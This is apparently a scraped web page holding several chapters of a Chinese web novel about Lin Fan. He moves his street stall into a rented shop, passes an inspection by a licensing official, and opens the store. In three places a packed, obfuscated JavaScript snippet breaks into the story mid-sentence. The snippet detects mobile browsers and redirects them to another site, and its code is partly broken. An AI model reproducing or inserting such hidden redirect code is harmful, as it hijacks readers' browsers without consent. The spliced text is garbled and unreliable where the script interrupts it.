他还记了片警的电话,写在笔记本第一页,方便随时打。 钱不够:就少进点货,宁可货架空点,也别让资金断了。 手里的活钱比啥都重要,要是钱周转不开,连水电费都交不起,店就开不下去了。 他还打算跟批发商商量,能不能“先拿少量货,卖完再结剩下的钱”,要是能成,就能缓解资金压力。 同行眼红:就多笑多客气,靠实在做生意。比如隔壁要是有文具店,不去抢客源,反而可以互相介绍顾客—— “你那没有的积木,我这有;我这没有的作业本,你那有”,大家都能赚钱,比互相拆台强。他想,做生意靠的是回头客,只要货好、服务好,顾客自然会来。 写完这些时,窗外的天已经泛了鱼肚白,晨光透过窗帘缝钻进来,落在笑笑的脸上。 笑笑睡得正香,嘴角还带着笑,大概是梦见了新店里的积木——昨晚她还抱着他的胳膊问: “爸爸,新店里有会拼城堡的积木吗?我想拼个大城堡,给你和王叔叔住。” 林凡把笔记本锁进抽屉(钥匙藏在床板下的缝隙里),轻轻摸了摸女儿的头,手心能感受到女儿细软的头发,心里像被灌满了暖水: 等店开起来,一定给笑笑买最大套的积木,陪她拼个“全家城堡”。 第二天一早,他揣着五百块钱、身份证,还有叠得整整齐齐的租约草稿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607487|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,去了赵经理的日杂店。 赵经理已经把合同打印好了,纸上还带着打印机的余温。 林凡逐字逐句看了三遍,手指指着“三年租约”“年涨租不超百分之五”“水电费自理”的条款,每个字都念出声,确认没有歧义、没有漏项,才从口袋里掏出钢笔—— 这是笑笑用剩下的,笔尖有点粗,但还能用。他一笔一划签上“林凡”两个字,笔画都写得格外重,仿佛每个笔画都在刻着“新起点”三个字,刻在纸上,也刻在心里。 接过钥匙时,冰凉的金属触到掌心,却猛地烫了一下——钥匙是黄铜的,上面挂着个小铜铃,铃身还刻着小小的“福”字。 赵经理笑着说:“开门时铃响,吉利,祝你生意兴隆。”林凡把钥匙攥在手里,轻轻摇了摇,铜铃发出“叮铃”的轻响,清脆得像春天的鸟鸣,像在宣告: 这不是漏雨的棚子,是他和笑笑的新起点,是真正的家。 他没急着去装修,先绕去了街道办和工商所。 李干事听说他要搬店,笑着拍了拍他的肩: “年轻人有闯劲,好!周干事早上刚来过,我跟他提了你,他说你去了直接找他就行,别客气。” 工商所的张办事员也耐心,把需要的材料清单又给了他一份,还说: “要是材料齐,今天提交,周五就能拿新执照,不用跑第二趟。” 摸清楚所有流程,他心里的石头落了一半,才往棚子走。 棚子在机械厂家属区的巷口,用帆布搭的顶,风一吹就“哗啦”响,像随时会被掀走。 王猛正蹲在地上给橡皮分类,怀里抱了堆五颜六色的“三无”橡皮,见林凡回来,连忙站起来,怀里的橡皮“哗啦”撒了一地,滚得到处都是。 “凡子,昨天你去哪了?黑皮的跟班来拿烟,我给了两包(是林凡之前准备的便宜烟,专门应付黑皮的),没**,就是说‘让你有空去找黑皮哥聊聊’。” 王猛一边捡橡皮,一边追问,眼睛里满是担心——上次黑皮来闹,林凡跟他吵了一架,王猛怕林凡再出事,晚上都没睡好。 林凡拉他到棚子角落(怕被人听见),从口袋里掏出钥匙,递到他面前。钥匙上的铜铃还在“叮铃”响,在帆布棚里格外清楚。 “猛子,我租了个门面,在中心小学那边,咱们把店搬过去,以后不用再守这个漏雨的棚子了。” “啥?” 王猛的眼睛一下瞪圆了,嘴张得能塞进个鸡蛋,手里的橡皮“啪”地掉在地上,滚到脚边都没察觉。 他伸手抓过钥匙,反复摩挲着上面的铜环,指腹蹭得发烫,声音都变了调: “租门面?得花多少钱啊?咱们这棚子……不是挺好的吗?” 他知道棚子不好,但怕林凡花太多钱,万一赔了,连笑笑的学费(一学期一百多)都没着落——他太清楚没钱的难了,母亲的医药费压得他喘不过气。 “是我省城的表叔,听说咱们生意还行,借了我点钱,不用急着还。” 林凡压低声音,像怕被风听见——他没说这是自己攒的钱,怕王猛担心,更怕王猛觉得“拖累了他”。 “猛子,咱们总窝在这棚子里不是事——黑皮总来闹,上次笑笑来送水,还被他吓哭了;再说,这棚子夏天漏雨,冬天漏风,孩子来买东西都冻得缩脖子,家长看着也心疼。 有了正经门面,咱们是‘正经商户’,谁也不能随便欺负咱们了,家长也愿意带孩子来,生意肯定比现在好。” 王猛的脸慢慢红了,从震惊到激动,手都在抖。 他攥着钥匙,指节发白,突然拍了拍胸脯,声音发颤: “真……真的?咱们也能当老板了? 不用再被城管追,不用再怕黑皮了?” 他看着林凡,眼里亮得像有光——以前在工地,他从来没想过自己能守着一家亮堂堂的店,不用风吹日晒,不用搬砖扛水泥,还能有稳定的收入。 “凡子,你说咋干就咋干!我这力气,随你用,搬货、刷墙、看店,啥都行!晚上我还能住店里,不用你操心,还能看货!” “以后你不光看摊,还得帮着进货、盘点,责任更大了。” 林凡拍了拍他的肩,语气里满是实诚, “我给你涨到一个月一百八,生意好了再加提成,多卖五十块提五块。你母亲的医药费,也能松快点,不用再跟人借钱了。” 第二十二章:新梦想 一百八! 王猛激动得差点跳起来,连连点头,眼眶都红了: “够了够了!凡子,你对我太好了! 我以前在工地,一个月最多四百块,还不稳定,有时候干半个月就没活了,现在一百八加提成,比工地强多了!我肯定好好干,绝不让你失望—— 以后店里的重活累活都我来,你放心!” 他说着,还擦了擦眼角——母亲上次打电话说“药快没了,要是没钱就先停几天”,他听了心里疼,现在终于不用愁了,甚至还能给母亲买点营养品。 接下来的日子,两人像上了弦的钟,连轴转。白天王猛守着棚子,慢慢处理剩下的货—— 以前的便宜橡皮、积木,都按进价甩卖(橡皮三毛一块,积木两块一套),有的家长图便宜,一下买了好几块,没几天就处理得差不多了,只留下几盒没卖完的水彩笔,打算带到新店当“赠品”。 林凡则带着笑笑跑旧货市场,早上七点就出门,下午五点才回来,肩上总扛着沉甸甸的东西; 有时候是旧柜台,有时候是地板革,笑笑就跟在他身边,帮他拿小工具(砂纸、铅笔),累了就坐在旧货市场的台阶上,林凡给她买个五毛钱的烤红薯,她就能乐半天。 旧货市场里飘着铁锈、木料和旧油漆混在一起的味道,墙角堆着蒙尘的旧家具,阳光透过棚顶的破洞洒下来,在地上织出斑驳的亮斑。 林凡蹲在一堆旧柜台前,敲敲玻璃(听有没有裂的声音),摸摸木质框架(看有没有虫蛀的洞),挑了三个没破的柜台,跟老板磨了半个钟头,从六十砍到五十,才扛着走。 柜台重,他扛在肩上,走几步就歇一下,汗把衬衫都湿透了,笑笑就用小手帮他擦汗,说 “爸爸加油”。 晚上棚子关了门,两人就去新店干活。 王猛力气大,扛着梯子刷墙,石灰水溅到他的工装上,白一块灰一块,像沾了雪,他也不在意,还哼着工地里学的老歌; 以前在工地,刷墙是苦活,现在刷自己的店,越刷越有劲,嘴角都挂着笑。 林凡心细,负责刷边角,怕石灰水蹭到地上,还找了块旧布铺在墙边。 旧布是笑笑的旧衣服改的,上面还有小熊图案,他小心翼翼的,怕蹭坏布上的图案。刷到一半,他想起笑笑喜欢太阳,就在墙面角落画了个圆乎乎的太阳,用米黄色涂料涂了颜色,太阳的光芒画得歪歪扭扭,却很可爱。 笑笑蹲在旁边,用小刷子蘸着剩下的涂料,在太阳旁边画了个小娃娃——娃娃的脸是圆的,眼睛是黑点,嘴巴是弯的,还画了两条小辫子。 她画完后,拉着林凡的手说: “爸爸,娃娃在看太阳呢,她也喜欢咱们的新店!” 林凡蹲下来,摸了摸她的头,手心能感受到女儿的体温,心里暖暖的——这就是他想要的“家”,有笑笑,有兄弟,有亮堂堂的店。 王猛在旁边看着,也跟着笑,三个影子在墙上晃来晃去,像幅热热闹闹的画,连空气里的石灰味都甜了点。 店里没灯,他们就从隔壁五金店借了根临时电线,挂个100瓦的灯泡。 灯泡亮起来时,整个店都亮堂堂的,王猛摸了摸刷好的墙面,又摸了摸刚摆好的货架,笑着说: “凡子,你看这墙,比我家的还白;这灯,比工地的探照灯还亮!以后孩子来这,肯定高兴!” 林凡也笑,手里还攥着砂纸,指腹磨得发疼,却没松劲——还有最后一步,去工商所办地址变更,办完了,这店才算真正“落地”。 周围的邻居偶尔会扒着门看,有的问“这是要开啥店啊”,有的探头往里瞅,眼里满是好奇。 林凡就笑着答:“开个儿童用品店,给孩子卖点文具、衣服,以后大家带孩子来玩啊,开业时请大家吃喜糖!” 他不多说,怕太早声张,又引来麻烦——黑皮要是知道了,指不定又来闹,他想等手续办完、店开起来,再安安稳稳地“打招呼”。 隔壁小吃店的张婶(不是筒子楼的张婶,是新店隔壁的),五十多岁,总是笑眯眯的,看见他们刷墙到半夜,还送了碗热汤。 是鸡蛋西红柿汤,里面卧了两个荷包蛋,还放了点香油,飘着淡淡的香味。林凡接过汤,说了好几声“谢谢”,喝的时候,眼泪差点掉下来; 这汤比家里的汤还暖,让他觉得在陌生的片区,也有了“熟人”的照应。 一周后,新店渐渐有了模样。 雪白的墙裹着浅黄的边,日光管亮得晃眼,深褐色的货架摆得整整齐齐(柜台刷了油漆,像新的一样),门头的招牌也做好了,用红布盖着,只露着点白边,像藏着个惊喜。 王猛站在店里,摸了摸货架,又摸了摸墙上的小太阳,眼眶都红了: “凡子,这真是咱们的店了……我以前想都不敢想,咱们也能有这么亮的店。以后我妈来城里,也能看看我的店了,她肯定高兴。” 他说着,还掏出手机(是个旧手机,二手的,三百块买的),想给母亲打电话,又怕母亲担心“还没开业就花钱”,最后只是把手机揣回兜里,暗暗发誓:一定要把店做好,让母亲放心。 林凡也笑着点头,手里还攥着刚擦完玻璃的抹布——玻璃擦得能照见人影,他看着里面自己的倒影,突然觉得这半年的辛苦都值了: 省吃俭用攒钱,跑旧货市场淘货,跟老板磨价,刷墙刷到半夜……所有的累,在看到这亮堂堂的店时,都变成了“值得”。 他心里盘算着开业的日子,想在周末(周六),因为家长带孩子出来玩的多; 还准备印点小传单,上面画个小笑脸(像笑笑画的那样),写“开业当天买满二十送橡皮一块,买满五十送AD钙奶一瓶”,吸引顾客; 传单就请巷口的打字店印,五十张,五块钱,不贵。 可就在他准备第二天一早去工商所办手续时,麻烦找上门了。 傍晚,他和王猛正在店里擦玻璃,刚把最后一块玻璃擦得能照见人影——连橡皮上的小熊图案都能映在玻璃上, 王猛还笑着说“以后孩子能在玻璃上看自己了”——就看见李干事陪着个穿工商制服的男人走进来。 那男人四十多岁,个子一米八左右,肩很宽,制服穿得笔挺,领口的扣子扣得紧紧的,没有一丝褶皱; 他脸板得比青砖还硬,两道眉毛拧成个“川”字,像随时会发脾气;手里拿着个黑色的笔记本,翻页的时候声音很大,“哗啦”一声,像在故意施压; 背着手走过来时,鞋底敲在水泥地上“咚咚”响,震得人心里发慌,连空气都好像凝固了。 “林凡,这位是工商所的刘科长。” 李干事的语气有点复杂,眼神往林凡身上飘了飘,像是有话要说,却又没说出口——他怕说多了,反而让刘科长不高兴。 “刘科长过来了解下你这新店的情况,你好好配合。” 林凡心里“咯噔”一下,手里的抹布“啪”地掉在地上,水渍溅到了鞋上,凉丝丝的。 他连忙弯腰捡起来,用围裙擦了擦手(围裙是笑笑的旧围裙,上面有小花朵图案),迎上去,脸上堆着笑: “刘科长好,李干事好,快进来坐,我给您倒杯水——家里有刚熬的橘子水,温的,您尝尝?” 刘科长没动,绕着店走了一圈。 他走到货架前,手指敲了敲货架,“咚咚”响,还晃了晃货架,看稳不稳——林凡心里捏了把汗,幸好货架是铁架的,很稳,没晃; 又走到墙面前,指甲刮了下墙面,刮下来一点白色的石灰末,他放在手里搓了搓,又闻了闻,眉头皱了皱—— 林凡赶紧说:“刘科长,这是环保石灰,建材店老板说的,没味道,孩子闻着没事,我特意晾了一天才继续装修的。” 最后,刘科长停在林凡面前, 声音像冰锥,没一点温度: “你就是林凡?原来在机械厂家属区摆摊的那个?” “是,是我。” 林凡的手心冒了汗,后背也有点发紧,汗水把衬衫粘在背上,凉飕飕的。 他脑子里飞快转:是黑皮?他知道自己搬店,故意找工商所的人来刁难?还是钱老西? 钱老西是收废品的,上次林凡收了一批旧连环画,比钱老西给的价高,钱老西还跟人说林凡“抢生意”,说不定是他举报的; 或者是旁边的文具店老板? 听说自己要开儿童用品店,怕抢了客源,故意举报“没办手续就装修”? 他越想越慌,却不敢表现出来—— 一慌就乱了,乱了就办不成事,这店是他和笑笑的希望,绝不能毁在这一步。 王猛站在旁边,脸都白了,手攥着抹布,指节发白,指腹都快把抹布捏破了。 他想说话,想替林凡解释“我们明天就去办手续”,却被林凡用眼神按住了——林凡怕他性子急,说漏嘴,反而惹刘科长不高兴,现在只能“顺着来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607488|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”。 林凡深吸一口气,脸上的笑更柔和了,语气放得更软,把早就准备好的话都说了出来,每个字都咬得很清楚: “刘科长,您放心,我这店的手续正在办,昨天我还去工商所咨询过张办事员,他把需要的材料都跟我说了——租赁合同(双方签字按手印了)、旧执照(原件,没损坏)、我的身份证,都齐了,今天我特意整理好,放在家里的铁盒里,明天一早就去提交。” “经营范围还是儿童用品,跟以前一样,没改——就是卖文具、玩具、童装,都是孩子用的,安全第一; 装修就刷了墙、换了灯、摆了货架,没动任何承重结构,您看这墙,都是用的环保涂料,孩子闻着也没事; 消防安全我也注意了,店里没放易燃易爆的东西,连橘子水都是现煮现卖,不囤货,您可以看看,我就一个保温桶,没别的东西。” 刘科长盯着他看了几秒,眼神像刀子,仿佛要把他看穿——林凡迎着他的目光,没躲闪,他知道自己没做错,按规矩来,不怕查; 又扫了眼李干事,李干事连忙点头,声音不大但很清楚: “刘科长,林凡这孩子挺实在的,开店前特意来街道办问过规矩,知道要办手续,不是故意不办的,就是想先把装修弄好,省得来回跑。” 最后,刘科长从鼻子里哼了一声,语气缓和了点,却还是硬邦邦的: “明天把手续办了,要是不合格,缺一样材料,或者经营范围不对,这店就别想开!” 说完,转身就走,制服的衣角扫过货架,带得橡皮盒“哗啦”响了一下,像是在警告—— “别想着蒙混过关”。 李干事拍了拍林凡的肩,小声说: “估计是有人举报了,说你没办手续就装修,刘科长这人认规矩,你赶紧把手续办了,别让人抓着把柄。他刚才跟我私下说,只要材料齐,符合规定,就没问题。 他也是怕你‘先开业再补手续’,到时候出问题,大家都麻烦。” 看着刘科长的背影消失在街口,王猛才敢凑过来,声音都发颤: “凡子,这……这咋办啊?要是手续办不下来,咱们这店……这钱不就白花了吗? 我妈还等着我寄医药费呢……”他说着,眼圈都红了——他好不容易看到希望,要是店开不成,又得回工地搬砖,母亲的医药费又没着落了。 林凡攥了攥拳头,指节发白,手心的汗都干了,心里却突然定了——新起点刚到,新战场就开了,这只是第一仗。 以前摆摊时,他遇到过城管(被追着跑,货都掉了)、遇到过地痞(黑皮来要保护费)、遇到过下雨天漏雨(货都湿了),都扛过来了,这次有正经的店面,有齐全的材料,按规矩来,怕什么? 他抬头看了看墙上笑笑画的小太阳,沾了点石灰末,歪歪扭扭的,却像团真的暖光,照得他心里的慌劲慢慢散了。 再看身边着急的王猛,他拍了拍王猛的肩,语气比刚才更坚定,每个字都带着力量: “没事,猛子,明天咱们一早就去办手续,材料都齐了,张办事员也说没问题,按规矩来,谁也挑不出错。 这店,咱们一定能开起来——不光为了咱们,还为了笑笑(她还等着拼城堡呢),为了你母亲(她还等着你的医药费呢),咱们不能输。” 王猛看着林凡坚定的眼神,慢慢点了点头,攥着的抹布也松了点—— 他信林凡,从在棚子帮忙那天起,他就知道林凡靠谱,能扛事。 “嗯,凡子,我信你。明天我跟你一起去,帮你拿材料,要是有啥要跑的,我去跑,你歇着。” 夜色渐浓,街上的灯亮了,店里的日光管也亮着,映着林凡和王猛的身影。 林凡把租赁合同、旧执照、身份证都放进一个铁盒里,摆在床头(怕丢了),又摸了摸口袋里的钥匙,铜铃“叮铃”响了一声,清脆又温暖。 新战场的第一枪已经响了,他得扛住——为了笑笑梦里的积木,为了王猛红着眼眶的期待,也为了这个好不容易才有的家。 他知道,以后还会有更多的挑战: 黑皮可能还会来闹,同行可能会抢客源,资金可能会紧张…… 但只要有这亮堂堂的店,有身边的兄弟,有女儿的笑脸,再难的坎,都能迈过去。 他抬头看向窗外,月亮已经升起来了, 圆圆的,像笑笑画的小太阳,亮堂堂的,照得整个街道都暖了。 第二十三章:如履刨冰 初秋的风带着点凉,从店门的缝隙钻进来,混着刚刷完没散透的石灰味。 那是林凡前几天特意选的块状灰,说比桶装涂料环保,刷完墙面上还留着淡淡的颗粒感,像撒了层细沙。 墙上笑笑画的小太阳尤其显眼,蜡笔的明黄色裹着孩子特有的歪扭弧线,只是此刻,刘科长的话一落地,那抹黄像被冰水浇过,连边缘的蜡笔屑都透着冷。 “手续都齐了? 无照经营可不是小事。” 刘科长的声音不高,却像冰锥扎在店里,他背着手站在货架旁,黑皮鞋尖蹭了蹭地面的灰尘,目光扫过堆在角落的纸箱——那是昨天刚到的童装,还没来得及拆封,箱角印着“纯棉儿童外套”的字样。 王猛攥着抹布的手猛地一紧,抹布上的灰蹭到了手背,他却浑然不觉。 那抹布是他从家里带来的旧毛巾,洗得发白,此刻被绞成了麻花,指关节因为用力而泛白。 他偷瞟林凡的眼神里满是慌神,连呼吸都放得极轻,生怕自己的喘气声会惹刘科长发火; 上次隔壁街的杂货店就是因为手续不全,被刘科长带人封了门,铁锁“咔嗒”锁上的声音,他到现在还记得。 林凡的心尖像被细针扎了下,警铃在脑子里“嗡嗡”炸响,连耳尖都热了。 但他知道不能慌,脸上的笑不仅没散,还往刘科长身边凑了半步,语气软得像刚揉过的棉纸,还带着点年轻人特有的诚恳: “刘科长您说得对,是我**躁了——前几天赶工收拾店面,光顾着刷墙、摆货架,确实把手续的事往后拖了点,您别往心里去,我这就给您看准备好的材料。” 他脚步轻快地绕到那张旧货市场淘来的旧课桌前。 这桌子是他上周花二十块买的,桌面有道浅裂,是之前的主人用胶水粘过的,抽屉角掉了块木茬,他怕刮着笑笑,特意找了米白色的电工胶带,一圈圈缠得整齐,连接头都压在了抽屉内侧。 前晚他就在这张桌上熬到后半夜,台灯是个15瓦的旧灯泡,光有点发黄,抄地址变更表时,笔尖断了两次,他换了三支笔,每写错一个字就重新抄一张,最后那张没一个涂改痕迹的表格,纸边都被他的手指摩挲得发毛。 手伸进抽屉时,指尖先触到文件夹硬邦邦的边缘——那是他特意从文具店买的蓝色文件夹,比普通的厚一倍,能把所有材料都夹牢。 他把文件夹捧出来时,能看到最上面的租赁合同上,赵经理的签字旁边,因为钢笔漏墨晕了个小墨点,他当时还特意用透明胶小心粘了下,没弄破纸,只把墨点淡了点。 “您看,这是租赁合同,赵经理签了字盖了章,租期三年,年涨租不超百分之五,都写得明明白白; 这是原来棚子的营业执照,我特意塑封了,您看照片上的头像,一点没磨花,经营范围就是‘日用百货、儿童玩具零售’,没超范围;变更表我昨天刚抄完,连日期都核对了三遍,就等今天下午去所里递。” 林凡的手指轻轻点在合同条款上,指腹因为用力泛着青白,连声音都比平时慢了半拍,像怕漏了哪个字: “装修真没敢瞎动——就刷了层石灰,您闻,现在还有点石灰的清味,没敢用油漆; 货架都是淘的旧铁架,搬进来时连颗钉子都没往墙上钉,我怕碰着承重结构,特意让猛子扶着摆的,离墙还留了五厘米的缝; 消防安全我也记着呢,早上还跟猛子说,今天就去买灭火器,红底白字的那种,挂在门口最显眼的地方,到时候您路过能看见。” 刘科长接过文件夹时,指尖蹭到了林凡的手,林凡的手是热的,还带着点汗——刚才攥得太用力了。 刘科长粗粝的手指在合同上慢慢划着,停在“年涨租不超百分之五”那行时,他抬头看了眼林凡,眼神里的冷意少了点,多了点审视,眉头拧成的“川”字也淡了些。 旁边的李干事赶紧凑过来,手里还拿着刚从店里抽的一张纸巾——他知道刘科长有洁癖,刚才摸了文件夹,手上沾了点灰。 “老刘,小林这孩子我知根知底。” 李干事笑着打圆场,声音里带着熟稔, “前两年他在咱们片区摆摊,每次收摊都把垃圾收拾干净,不像别的摊贩乱扔塑料袋;现在开店更用心,你看这墙刷得多白,灯也亮,比原来那漏雨的棚子强百倍—— 咱们片区多这么个干净的儿童店,家长买东西不用跑远,孩子也能有个正经地方挑玩具,多好。” 李干事说的是实话。 去年夏天暴雨,林凡的棚子漏雨,他把所有玩具都挪到塑料布下面,自己淋得浑身湿,还帮旁边卖菜的大妈收摊子,李干事当时巡逻看见,就觉得这年轻人实在。 刘科长合文件夹时,“啪”的一声轻响,递回林凡手里时,语气软了半截: “手续抓紧办,无照经营的红线不能碰,这是原则。灭火器明天必须挂上,做生意先把安全攥在手里,别等出事了才后悔,我明天过来再看。” “哎!一定一定!” 林凡连忙点头,接过文件夹时,指腹又蹭到刘科长的手,还是凉得像块冰,但他心里的热乎劲已经冒上来了,连后背的汗都觉得不黏了;这关总算过去了,李干事这声帮腔,真是救了急。 刘科长背着手往外走,黑皮鞋踩在水泥地上“咚咚”响,到门口时又回头扫了眼货架,目光在那箱没拆封的童装停了两秒,没再说话; 李干事跟在后面,路过林凡身边时,用胳膊肘轻轻碰了他一下,嘴型比了个“机灵点”,还眨了下眼,才快步追上去。 两人的脚步声消失在街口,王猛“咚”地坐在小板凳上——那是笑笑的小凳子,凳面上还贴着她画的小花,板凳腿在地上磕出个浅印。 他抹了把额头的汗,汗渍在脸上划出两道黑印子,声音还发颤:“凡子,刚才我心都提到嗓子眼了,真怕他一句话就把店封了! 上次老周的杂货店,就是因为没执照,被封了半个月,货都积坏了!” 林凡把文件夹锁进抽屉,铜锁“咔嗒”响了声,指节轻轻敲了敲桌面,眼神沉了沉: “猛子,这就是正规店和野摊的不一样——以前摆摊是躲着城管走,看见穿制服的就跑; 现在开店得迎着规矩来,手续、安全、卫生,半点马虎都不能有,不然一准让人抓把柄。” 刚才刘科长冷着脸的模样,像块石头压在他心里,也让他彻底醒了: 想把店稳住,“规范化”这三个字,不是嘴上说说,得刻在脑子里,渗进骨子里。 第二天一早,天刚亮,林凡就揣着身份证和执照副本出了门。 他先绕到街尾的消防器材店,店主是个五十多岁的大叔,留着寸头,手上满是老茧。 “要两个灭火器,红底白字的,家用的就行。” 林凡说。大叔从货架上搬下两个铁壳子,掂量了下: “小伙子开店用吧?这两个是新到的,压力够,十八块一个,给你算三十五。” 还送了他一小卷消防胶带, “挂的时候用这个固定,别晃,不然容易掉。” 林凡没急着走,还让大叔演示了怎么用,大叔拔下保险销,压了下手柄,白色的粉末喷出来一点, “记住了,先拔销子再压手柄,别慌。”林凡点点头,把步骤在心里默念了两遍。 到工商所时,刚开门没多久。 办事员是个戴眼镜的年轻姑娘,看林凡递过来的材料,翻了两页就笑了: “你这材料整理得比上次来的那个个体户清楚多了,合同、申请表、身份证复印件,都按顺序排好了。” 她扫了眼电脑,三分钟就录了信息,笔尖在纸上划了道勾: “三天后来拿新执照,还是红本,多了个二维码,扫一下就能看经营范围,方便。” 林凡还多问了句:“要是有人查,除了执照,还需要挂什么吗?” 姑娘说: “可以拿张‘合法经营公示牌’,贴在店里显眼的地方,省得麻烦。” 林凡赶紧要了一张,折叠好放进包里。 回到店里,他先把灭火器挂在门口两侧——按消防大叔说的,用胶带在顶部粘了两圈,又退后看了看,觉得有点歪,又调整了半天,直到两个灭火器对齐了,才满意。 接着把“合法经营公示牌”贴在收银台旁边,用尺子比了下,确保是正的。 王猛看着他忙前忙后,挠着头说: “凡子,你这也太仔细了。”林凡擦了擦手上的灰:“仔细点好,省得下次再出岔子。” 手续齐了,店也收拾妥了。 林凡选了个周六开业——他问过杂货铺老板,这天街坊邻居都休息,人多。 他没请人,没吆喝,就从杂货铺买了挂最小的鞭炮,老板说:“这个响但不吵,街坊邻居不反感,五块钱。” 林凡买的时候还特意问了能不能在门口放,老板说:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607489|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>“这条街允许小鞭炮,别放太大的就行。” 笑笑站在旁边,小手攥着他的衣角,指甲盖轻轻抠着布料,那是林凡穿了两年的外套,肘部有块补丁。 她的眼睛亮晶晶的,像盛了星星,看着林凡手里的鞭炮: “爸爸,要放鞭炮啦?是不是放了炮,咱们的店店就开门啦?” 林凡蹲下来,摸了摸她的头:“ 嗯,放了炮,咱们的店就正式开门了。”他划了根火柴,火苗“噌”地跳起来,点着引线。 “噼里啪啦” 的声响裹着纸灰飘在风里,笑笑怕响,捂了耳朵,林凡把她往怀里抱了抱,用手挡住她的耳朵。没半分钟,鞭炮就放完了,烟味散得快,只留下栏杆上一圈红纸屑,像撒了把碎红玛瑙。 他伸手揭下招牌上的红布:“笑笑宝贝屋——儿童用品专营”十个字,是他找隔壁学校的美术老师写的,红得鲜亮,圆乎乎的字体在阳光下透着暖,像孩子咧着嘴笑的模样,连笔画都带着甜劲。 没有宣传,却有人被这亮堂的门面吸了过来。先是住在隔壁楼的张阿姨,抱着刚满一岁的孙子,孙子穿着蓝色的小棉袄,伸手想去抓货架上的小熊玩偶。 张阿姨赶紧拦住:“别乱碰,问叔叔能不能拿。” 林凡笑着走过去,把小熊玩偶拿下来,用袖口擦了擦: “没事,小朋友可以看看,我这玩偶都洗过的,没灰。” 小熊玩偶是浅棕色的,软乎乎的,孩子抱着就不撒手,张阿姨笑着说: “这孩子,还挺会挑。”最后不仅买了玩偶,还买了两双软底学步鞋, 张阿姨说孙子脚胖,之前买的鞋挤脚,林凡给她推荐的那款,鞋头宽,孩子穿上正好。 接着是中心小学的李老师,骑着自行车路过,车铃“叮铃”响了声。 她停下车,扶了扶眼镜: “哟,林凡,开儿童店了?正好,我侄女上一年级,老丢橡皮,要那种带挂绳的,能挂铅笔盒上,不容易丢。” 林凡从文具区最里面拿出一款——挂绳是蓝色的,橡皮上印着米老鼠, “您看这个,挂绳结实,橡皮也软,擦得干净不粘纸。”李老师一看就喜欢,买了两块,还多买了五支荧光笔:“给她同桌也带点,孩子们都喜欢这种亮颜色的。” 开业第一天,生意比林凡想的还热闹。 脚步声、说话声裹着孩子的笑声,把小店填得满满当当。 王猛守在柜台后,嗓门比平时大了三分,脸涨得通红。 有个妈妈来买童装,问“这衣服洗了会不会缩水”,王猛赶紧从柜台里拿出小纸条——那是林凡写的,上面记着“冷水洗不缩,晒时别拽”,他照着念: “阿姨,这衣服我试过,冷水洗不缩,晒的时候别使劲拽,干了还是原来的样子。” 妈妈听了放心,买了件粉色的小外套。 王猛偶尔也会算错账,比如把“十八块”说成“二十八块”,手忙脚乱地找钱时,林凡在旁边悄悄递个眼神,他立刻拍着脑袋笑,手在裤腿上蹭了蹭: “瞧我这记性,算错了算错了!您别介意,我再给您找零!” 顾客倒不介意,反倒觉得他实诚,有个奶奶还说: “没事没事,年轻人难免糊涂,我家孙子算账也老错。” 林凡没闲着,一会儿蹲下来帮顾客找尺码合适的童装,手指捏着布料给人看: “您摸,这棉含量70%,剩下的是氨纶,软和还不变形,孩子穿身上舒服;” 一会儿又跟孩子说话,声音放得轻轻的: “这个积木边缘是圆的,不扎手,你可以拼小火车,也可以拼小房子。” 他发现,来店里的家长,跟以前棚子的客人不一样——以前摆摊时,客**多问“多少钱”,现在更多问“质量怎么样”“洗了会不会坏”“孩子穿安全吗”,对品质的在意,比价格多了不止一点。 傍晚关店时,王猛把钱箱往桌上一倒,纸币硬币哗啦啦散了一片,像撒了把碎金子。 他沾着唾沫, 一张一张数得仔细, 手指在纸币上捻来捻去: “二十、四十、六十……两百二十一! 凡子,咱们今天卖了两百二十一!” 他举着一沓钱,眼睛亮得像有光,嘴角都快咧到耳根了: “毛利润得有八十块吧? 这比棚子好太多了, 以前摆摊一天最多赚四十, 还得躲城管!” 第二十四章:专业化试水 林凡坐在旁边,手里翻着进货账本,笔尖在“荧光笔”那行画了个圈,墨痕透了点纸背: “猛子,别高兴太早。开业头几天大家图新鲜,后面生意说不定会落。咱们得想办法把客人留住,让他们下次还来; 光卖东西不行,得让他们觉得‘来这儿买东西,值’。” 他心里已经有了主意: 要做“专业”的生意,不能再像以前那样“凑活”,得从陈列、服务、进货上都下功夫。 接下来的日子,他开始一点点试水“专业化”, 把想法揉进店里的每一处细节,连王猛都跟着学了不少。 一、商品陈列:让客人“一眼找得到,看着也舒服” 他把货架重新摆了遍,比以前整齐了不止一点。 左边靠门是文具区,铅笔按粗细排:HB的是原木色,挨着头摆,笔帽都朝左; 